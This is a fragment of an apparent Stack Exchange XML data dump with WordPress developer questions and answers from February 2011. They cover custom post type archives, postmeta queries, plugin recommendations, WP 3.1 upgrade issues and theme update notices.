Tags="&lt;wp-admin&gt;&lt;mysql&gt;&lt;404-error&gt;" />
  <row Id="10390" PostTypeId="2" ParentId="10328" CreationDate="2011-02-25T00:14:00.477" Score="2" ViewCount="" Body="&lt;p&gt;Here's a plan:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Store the dates as individual custom fields with the same meta_key (ex: start_date)&lt;/li&gt;&#xA;&lt;li&gt;JOIN the wp_posts table with the wp_postmeta table, &lt;em&gt;without&lt;/em&gt; a GROUP BY (to allow the same event to appear more than once)&lt;/li&gt;&#xA;&lt;li&gt;ORDER BY start_date&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The full query would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT wp_posts.*, meta_value AS start_date&#xA;FROM wp_posts INNER JOIN wp_postmeta ON (ID = post_ID)&#xA;WHERE post_type = 'event'&#xA;AND post_status = 'publish'&#xA;AND meta_key = 'start_date'&#xA;ORDER BY start_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: This requires you store the date in YYYY-MM-DD format, which you should do anyway, for compatibility with mysql2date() etc.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-25T00:43:03.443" LastActivityDate="2011-02-25T00:43:03.443" CommentCount="4" />
  <row Id="10391" PostTypeId="1" CreationDate="2011-02-25T00:19:31.037" Score="1" ViewCount="182" Body="&lt;p&gt;I expected that wp3.1 with the support for archive-{post_type}.php would solve my problems. However, I am still struggling to get it working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is: a custom date-based archive page per post-type, which displays years and months. Once you click on a year of a month, you'll go to another archive page which outputs the relevant posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all: I am clueless on how to create a date-based archive page for certain post-types anyway. Is there a certain page-template which automatically gets called when going to {post-type}/archive? &lt;code&gt;&amp;lt;?php wp_get_archives(); ?&amp;gt;&lt;/code&gt; doesn't seem post-type aware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all my date-based permalinks doen't work. A simple {post-type}/2010/01 gives an error404. I've created all my archive-.php pages with simple content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header(); ?&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;content&quot; class=&quot;hfeed&quot;&amp;gt;&#xA;&amp;lt;?php get_template_part('posts'); ?&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-07-29T11:35:56.050" Title="just can't get date-based archives per post-type to work" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="10392" PostTypeId="2" ParentId="10387" CreationDate="2011-02-25T00:22:07.073" Score="2" ViewCount="" Body="&lt;p&gt;this should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories();&#xA;foreach( $categories as $category ) { &#xA;    echo '&amp;lt;input type=&quot;checkbox&quot; name=' . $category-&amp;gt;slug . '&quot; value=&quot;' . $category-&amp;gt;term_id . '&quot; /&amp;gt; ' . $category-&amp;gt;name . '&amp;lt;br /&amp;gt;' . &quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can change/order the list by feeding arguments to &lt;code&gt;get_categories()&lt;/code&gt;:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2011-02-25T00:22:07.073" CommentCount="1" />
  <row Id="10393" PostTypeId="2" ParentId="10332" CreationDate="2011-02-25T00:32:27.910" Score="0" ViewCount="" Body="&lt;p&gt;or if you'd like a non-plugin solution, the synta your &lt;code&gt;.htaccess&lt;/code&gt; file is (for a 301 permanent redirect):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectPermanent /path/to/old-url /the-path/to/the-new-url&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2011-02-25T00:32:27.910" />
  <row Id="10394" PostTypeId="1" AcceptedAnswerId="10396" CreationDate="2011-02-25T00:34:25.740" Score="0" ViewCount="170" Body="&lt;ul&gt;&#xA;&lt;li&gt;The plugin should work with un-registered users also.&lt;/li&gt;&#xA;&lt;li&gt;Its not mandatory for plugin to add rating system to posts/pages. I need thumbs up-down rating system only for comments.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-02-25T04:23:39.060" Title="Is there any plugin which enables users to rate comments in thumbs up-down way?" Tags="&lt;plugins&gt;&lt;rating&gt;" AnswerCount="2" />
  <row Id="10395" PostTypeId="2" ParentId="7651" CreationDate="2011-02-25T00:53:34.373" Score="1" ViewCount="" Body="&lt;p&gt;The built-in WP search looks &lt;strong&gt;only&lt;/strong&gt; a Posts'/Pages' Title and Content, &lt;strong&gt;not&lt;/strong&gt; thru other elements like Custom Fields and the content of Shortcodes. There's a number of plugs that will search Custom Fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-custom-fields-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-everything/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/relevanssi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also a filter &lt;code&gt;apply_filters_ref_array()&lt;/code&gt; that &quot;allows plugins to contextually add/remove/modify the search section of the database query.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, the search is defined in &lt;code&gt;query.php&lt;/code&gt;, and looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;...if ( !empty($q['s']) ) &#xA;...&#xA;($wpdb-&amp;gt;posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb-&amp;gt;posts.post_content LIKE '{$n}{$term}{$n}')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So title and content are the only things in the default search.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2011-02-25T00:53:34.373" />
  <row Id="10396" PostTypeId="2" ParentId="10394" CreationDate="2011-02-25T00:55:24.603" Score="1" ViewCount="" Body="&lt;p&gt;i bet there are a lot but i have used&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;Comment Rating&lt;/a&gt; plugin before and its very good just for that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T00:55:24.603" />
  <row Id="10397" PostTypeId="1" AcceptedAnswerId="10401" CreationDate="2011-02-25T01:18:35.173" Score="0" ViewCount="63" Body="&lt;p&gt;I used to post same shortcodes every time (shortcodes loads dynamic contents). So, I want to pack these shortcodes in a template for my posts. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-02-25T01:55:54.330" Title="How to make post templates to include shortcodes only?" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;shortcode&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10398" PostTypeId="2" ParentId="10377" CreationDate="2011-02-25T01:23:39.367" Score="0" ViewCount="" Body="&lt;p&gt;OK, if I waited 90 more minutes I could have avoided this post... I solved it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was the &lt;code&gt;**WP Smush.it**&lt;/code&gt; plugin. Deactivate this plugin and all works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had problems with this plugin before in different ways...very finnicky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had already increased my memory limits, and the file size was only about 200k. That wasn't my particular issue.&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2011-02-25T01:23:39.367" CommentCount="1" />
  <row Id="10399" PostTypeId="2" ParentId="10332" CreationDate="2011-02-25T01:34:39.720" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; does the job very well.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-25T01:34:39.720" />
  <row Id="10401" PostTypeId="2" ParentId="10397" CreationDate="2011-02-25T01:55:54.330" Score="1" ViewCount="" Body="&lt;p&gt;You might want to check out...&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the gist for using shortcodes in a template is as follows...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;// Use shortcode in a PHP file (outside the post editor).&#xA;do_shortcode('[gallery]');&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-02-25T01:55:54.330" />
  <row Id="10402" PostTypeId="1" CreationDate="2011-02-25T02:03:29.313" Score="2" ViewCount="64" Body="&lt;p&gt;So WP 3.1 introduces the fancy WP_List_Class() causing me to rewrite all my custom admin tables. Fair enough. But...in the good'ol days, i was able to call my plugin methods using &lt;code&gt;$this-&amp;gt;method()&lt;/code&gt; as i included the page file within the method that got hooked to via &lt;code&gt;add_submenu_page()&lt;/code&gt;. That was nice and somewhat elegant - or at least nice - i thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, though, my code has to live within the methods of My_WP_List_Class, which inherits from WP_List_Class. Since i can't do multiple inheritance, i seem to have to reference my global plugin instance or reinstanciate it within my class, either one of which makes me a little upset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Class stacking doesn't seem to be an option either, because obviously i can't make WP_List_Class inherit from my plugin class, nor do i want to make my plugin class inherit from WP_List_Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i overlooking something or do i just have to live with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: more context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be thinking too complicated, but my scenario is this: I'm having a 'meta' plugin class that is instanciated by other plugins (several times). So i don't even know what it's instanciated as and frankly, i don't want to know. ;-)&#xA;Each of these instances hooks itself into the admin menu and creates a custom menu page. Each of these instances also get's some parameters passed (like an id-like one for instance) that it stores internally upon instanciation. If i call a method, the method depends on these internally stored values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, each of these instances could all live self-contained, i didn't need to register them in any array or anything, you could even instanciate them anonymously, if you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i need to add methods to my WP_List_Class inheriting class that will depend on those values as well. So the only thing i can imagine is to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function table_me_some() {&#xA;    $table = new My_WP_List_Class(&amp;amp;$this);&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then within &lt;code&gt;My_WP_List_Class&lt;/code&gt; do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct($mama) {&#xA;    $this-&amp;gt;_mama = $mama;&#xA;}&#xA;&#xA;function whatever() {&#xA;    $this-&amp;gt;_mama-&amp;gt;my_plugin_class_instance_method();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;my_plugin_class_instance_method()&lt;/code&gt; lives in my instanciated plugin class and references it's own internal variable store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i only came up with this now, but i still don't find it very neat.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-25T03:06:30.903" LastActivityDate="2011-06-25T11:17:07.957" Title="Any way to inherit methods from both my plugin class and WP_List_Class?" Tags="&lt;admin&gt;&lt;lists&gt;" AnswerCount="2" />
  <row Id="10403" PostTypeId="2" ParentId="10335" CreationDate="2011-02-25T02:17:30.140" Score="1" ViewCount="" Body="&lt;p&gt;I'm using this code for a metabox in a current project I'm working on: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parent_select ($parent_type) {&#xA;    global $post;&#xA;    global $wpdb;&#xA;    $query = &quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_type = '{$parent_type}' AND post_status = 'publish' ORDER BY post_title&quot;;&#xA;    $results = $wpdb-&amp;gt;get_results($query, OBJECT);&#xA;    echo '&amp;lt;select name=&quot;parent_id&quot; id=&quot;parent_id&quot;&amp;gt;';&#xA;    echo '&amp;lt;option value = &quot;&quot;&amp;gt;None&amp;lt;/option&amp;gt;';&#xA;    foreach ($results as $r) {&#xA;        echo '&amp;lt;option value=&quot;', $r-&amp;gt;ID, '&quot;', $r-&amp;gt;ID == $post-&amp;gt;post_parent ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $r-&amp;gt;post_title, '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code outputs a select box that is populated by the post titles and post id's of all posts of a certain type.  If you place this in a metabox of a child post type, all you would need to do is to is select a parent post and update.  WordpPress already looks for a form element called 'parent_id' to set a post's parent, so there is no other code really needed, except to create the metabox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('parent_series', 'Series', 'show_series_metabox', 'episode', 'side', 'high');  //add a side metabox&#xA;function show_series_metabox() {&#xA;    parent_select('series');&#xA;    echo 'Please select series';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ironically enough, I'm doing this for a similar situation: I have a post type for a series, 2 other post types, one for episodes and one for DVD releases, both of which hook up to a series as a parent-child relationship using the post_parent field of a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Special thanks to @MikeSchinkel, whose &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9079/how-do-you-modify-the-post-parent-of-a-custom-post-type/9083#9083&quot;&gt;code I modified&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-25T02:17:30.140" />
  <row Id="10404" PostTypeId="2" ParentId="10262" CreationDate="2011-02-25T02:20:16.437" Score="1" ViewCount="" Body="&lt;p&gt;Actually found a potential way (with WP3.1), but it's a bit more involved than using filters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since WP3.1 now uses the &lt;code&gt;WP_List_Class&lt;/code&gt; to generate the admin pages, you can create your own &lt;code&gt;My_User_List_Table&lt;/code&gt; class, inheriting from &lt;code&gt;WP_Users_List_Table&lt;/code&gt; and in that class override the &lt;code&gt;extra_tablenav()&lt;/code&gt; method. In your own method you duplicate the code from &lt;code&gt;WP_Users_List_Table::extra_tablenav()&lt;/code&gt; and add your own stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create a duplicate of &lt;code&gt;wp-admin/users.php&lt;/code&gt;, modify it to use your class instead and modify the users menu entry in the admin navigation to call your duplicate instead of &lt;code&gt;wp-admin/users.php&lt;/code&gt;. I'm not sure if WP3.1 now comes with easier methods to do that then the hacky solutions necessary for WP3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, all this new WP_List_Class stuff comes without good action or filter hooks, it would have been so easy had they added an &lt;code&gt;apply_filters()&lt;/code&gt; call to &lt;code&gt;_get_list_table()&lt;/code&gt;. Grmpf.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-25T02:20:16.437" />
  <row Id="10405" PostTypeId="2" ParentId="10402" CreationDate="2011-02-25T02:40:36.927" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Take 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first answer was ... not right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, PHP does not support multiple inheritance. However, there is something that may get you &quot;close enough.&quot; I found some references to symfony using mixin classes, something I've used successfully in other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab the 1.4.9 release (current stable) and do &lt;code&gt;grep -i mixin -r .&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a number of references to it. E.g. &lt;code&gt;lib/plugins/sfPropelPlugin/lib/addon/sfMixer.class.php&lt;/code&gt;. The docs are a bit thin in this area, but it may be what you need.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-25T07:18:36.067" LastActivityDate="2011-02-25T07:18:36.067" CommentCount="1" />
  <row Id="10406" PostTypeId="1" CreationDate="2011-02-25T03:29:58.613" Score="0" ViewCount="130" Body="&lt;p&gt;I was on the latest v3.0.x series and had no issues. Once I upgraded to WP v3.1, I am having a strange issue with character encoding in permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my title was &quot;I have $50 today&quot; in WP 3.0.x, the month/date permalink would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/2010/05/i-have-50-today/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, here's what is happening in WP 3.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/2010/05/i-have-%e2%80%93-50-today/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried replicating the problem on a clean install of WordPress and was able to replicate the same issue. Can anyone confirm whether this is a bug or expected?&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-02-25T03:29:58.613" Title="WordPress v3.1 Has Character Encoding Issue With Title/Permalink?" Tags="&lt;3.1&gt;" CommentCount="7" />
  <row Id="10408" PostTypeId="1" AcceptedAnswerId="10414" CreationDate="2011-02-25T03:57:56.593" Score="1" ViewCount="172" Body="&lt;p&gt;I have a series of posts (using a wp-zoom theme). I would like to create a custom field called &lt;code&gt;order&lt;/code&gt; and sort by that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is part of my homepage code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$z = count($wpzoom_exclude_cats_home);&#xA;if ($z &amp;gt; 0) { &#xA;    $x = 0; &#xA;    $que = &quot;&quot;; &#xA;    while ($x &amp;lt; $z) {&#xA;        $que .= &quot;-&quot;.$wpzoom_exclude_cats_home[$x]; &#xA;        $x++;&#xA;        if ($x &amp;lt; $z) {&#xA;            $que .= &quot;,&quot;;&#xA;        } &#xA;    } &#xA;}      &#xA;query_posts( $query_string . &quot;&amp;amp;cat=$que&quot; );&#xA;if (have_posts()) : &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-25T12:10:52.760" LastActivityDate="2011-02-25T12:10:52.760" Title="Sorting posts ordered by custom field value" Tags="&lt;custom-field&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="10409" PostTypeId="2" ParentId="10394" CreationDate="2011-02-25T04:23:39.060" Score="1" ViewCount="" Body="&lt;p&gt;I've used GD Star Rating in the past. It works well. By default the ratings for posts and pages are turned on but you can disable this. You can also change the images that display for the thumb up/down easily&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gd-star-rating/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-02-25T04:23:39.060" CommentCount="2" />
  <row Id="10410" PostTypeId="1" AcceptedAnswerId="10411" CreationDate="2011-02-25T06:31:12.107" Score="1" ViewCount="114" Body="&lt;p&gt;Let say my theme host on my server. User download my theme and use it. Now I want notify @ alert for new version of my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example to show &quot;New version has been release. Please download at ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that?&lt;/p&gt;&#xA;" OwnerUserId="2921" LastActivityDate="2011-02-25T07:30:51.247" Title="How to make alert for new version on theme options?" Tags="&lt;themes&gt;&lt;coding&gt;&lt;theme-options&gt;&lt;version&gt;" AnswerCount="1" />
  <row Id="10411" PostTypeId="2" ParentId="10410" CreationDate="2011-02-25T07:30:51.247" Score="3" ViewCount="" Body="&lt;p&gt;see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://clark-technet.com/2010/12/wordpress-self-hosted-plugin-update-api&quot; rel=&quot;nofollow&quot;&gt;http://clark-technet.com/2010/12/wordpress-self-hosted-plugin-update-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the idea is to hook your update checking function to the &lt;code&gt;pre_set_site_transient_update_themes&lt;/code&gt; filter. The version array key you return from this function will be compared by WP to the current theme version from style.css....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;admin_notices&lt;/code&gt; action to make your alert message more noticeable&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-25T07:30:51.247" CommentCount="1" />
  <row Id="10413" PostTypeId="1" CreationDate="2011-02-25T08:06:50.703" Score="2" ViewCount="582" Body="&lt;p&gt;I've found this new plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpsmith.net/wordpress/creating-multiple-custom-menus-in-wordpress-3-1&quot; rel=&quot;nofollow&quot;&gt;http://wpsmith.net/wordpress/creating-multiple-custom-menus-in-wordpress-3-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is using a new 3.1 hook (wp_nav_menu_objects) to remove specific nav-menu-items from the nav-menu-item array before they are parsed by the walker class, if a user isn't logged in. The plugin uses a specific CSS-class as identifier to decide which items to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've been wondering if it couldn't be possible to use shortcodes in nav-menu-item descriptions, in order to have an advanced set of conditionals with respect to the display of specific menu items (like display on page x, don't display on page y, or, particularly useful: automatic inclusion of child pages/categories, etc. by inserting them into the nav_menu_item array before the array is parsed by the walker)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(‘wp_nav_menu_objects’, ‘do_shortcode’);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is causing the page to not load correctly. Not a blank page error, but the page stops rendering right after the nav menu containter div. Is there any way to use native WP shortcode functionality for this purpose? Or would it be necessary to create a custom shortcode parser within the function analysing the nav-item-contents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas!&lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2011-05-31T05:55:55.157" Title="Using Shortcodes in WP-Menus in WP 3.1 (via nav_menu_objects)?" Tags="&lt;custom-menus&gt;&lt;shortcode&gt;&lt;menus&gt;&lt;navigation&gt;&lt;3.1&gt;" AnswerCount="2" />
  <row Id="10414" PostTypeId="2" ParentId="10408" CreationDate="2011-02-25T08:07:53.870" Score="2" ViewCount="" Body="&lt;p&gt;You can use the &quot;orderby&quot; parameter of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot; title=&quot;QueryPosts&quot;&gt;query_posts&lt;/a&gt;.&lt;br&gt;&#xA;You must specify your custom field and you must give it a numeric value.&#xA;Short example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts($query_string . &quot;&amp;amp;cat=$que&amp;amp;orderby=meta_value_num&amp;amp;meta_key=your_custom_field&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-25T08:07:53.870" CommentCount="1" />
  <row Id="10415" PostTypeId="1" CreationDate="2011-02-25T08:17:26.317" Score="1" ViewCount="181" Body="&lt;p&gt;I installed the new wordpress 3.1, but it gave me some problems and I had&#xA;restore everything, you'd know it help me?&#xA;Practically after updating the site was completely white and I could not&#xA;access the dashboard. I do not know if it's in conflict with some plugin or theme&#xA;... but I do not risk coming back to update: (&#xA;Can you help me? www.talkischeap.it&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-25T17:17:37.347" LastActivityDate="2011-02-25T17:17:37.347" Title="WSOD after upgrading to 3.1" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;upgrade&gt;" AnswerCount="1" />
  <row Id="10416" PostTypeId="2" ParentId="2922" CreationDate="2011-02-25T09:17:45.147" Score="2" ViewCount="" Body="&lt;p&gt;If your question is more like &quot;which format is most widely used and supported?&quot;, then I got a pretty good answer for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I analyzed the world's &lt;a href=&quot;http://technorati.com/blogs/top100&quot; rel=&quot;nofollow&quot;&gt;50 most read blogs according to Technorati&lt;/a&gt;, and found that 9 (18%) offered Atom feeds while 48 (96%) offered RSS feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also never heard about a feed reader that doesn't support RSS (although I haven't tried them all) -- so I would definitely go with RSS instead of Atom, if I had to choose.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2011-02-25T09:17:45.147" CommentCount="2" />
  <row Id="10417" PostTypeId="1" AcceptedAnswerId="10436" CreationDate="2011-02-25T09:21:55.660" Score="0" ViewCount="371" Body="&lt;p&gt;I'm developing a plugin made on the original calendar. My wordpress is based on real events and I want to keep trace of theme on the calendar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I added a custom field in the post which is the end of the events (or the last day for subriscribe) with the value of a date of course (like 25/02/2010).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to display on the calendar all the events that ends on the days instead of the posts create in each days.&lt;br&gt;&#xA;How to get the meta data value of the post in this query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Get days with posts&#xA;$dayswithposts = $wpdb-&amp;gt;get_results(&quot;SELECT DISTINCT DAYOFMONTH(post_date)&#xA;    FROM $wpdb-&amp;gt;posts WHERE MONTH(post_date) = '$thismonth'&#xA;    AND YEAR(post_date) = '$thisyear'&#xA;    AND post_type = 'post' AND post_status = 'publish'&#xA;    AND post_date &amp;lt; '&quot; . current_time('mysql') . '\'', ARRAY_N);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It have to select all the post with my custom meta value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I'm not doing this for nothing, I googled and no plugin with this function came out.&lt;/p&gt;&#xA;" OwnerUserId="898" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-25T12:51:54.113" LastActivityDate="2011-02-25T14:59:41.223" Title="get all posts with certain meta data" Tags="&lt;query-posts&gt;&lt;post-meta&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10418" PostTypeId="1" AcceptedAnswerId="10422" CreationDate="2011-02-25T09:29:32.103" Score="3" ViewCount="124" Body="&lt;p&gt;There are so many free, freemium and premium Themes out there. How can I be sure that a Theme I download doesn't have malware in the code? Is there an (relatively) easy way to check for malicious code without going through every line of code?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-08-17T08:30:50.970" Title="How can I check for malware in a Theme?" Tags="&lt;themes&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10419" PostTypeId="2" ParentId="10415" CreationDate="2011-02-25T09:29:45.773" Score="1" ViewCount="" Body="&lt;p&gt;I had the same issue after upgrading my local environment (wordpress/xamp).&#xA;I ran &lt;a href=&quot;http://localhost/wordpress/wp-admin/upgrade.php&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wordpress/wp-admin/upgrade.php&lt;/a&gt; and then I could get back in to the admin.&#xA;I then had to update the database and upgrade to 3.1 again.&#xA;After that all seems to be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you too! &lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-02-25T09:29:45.773" CommentCount="3" />
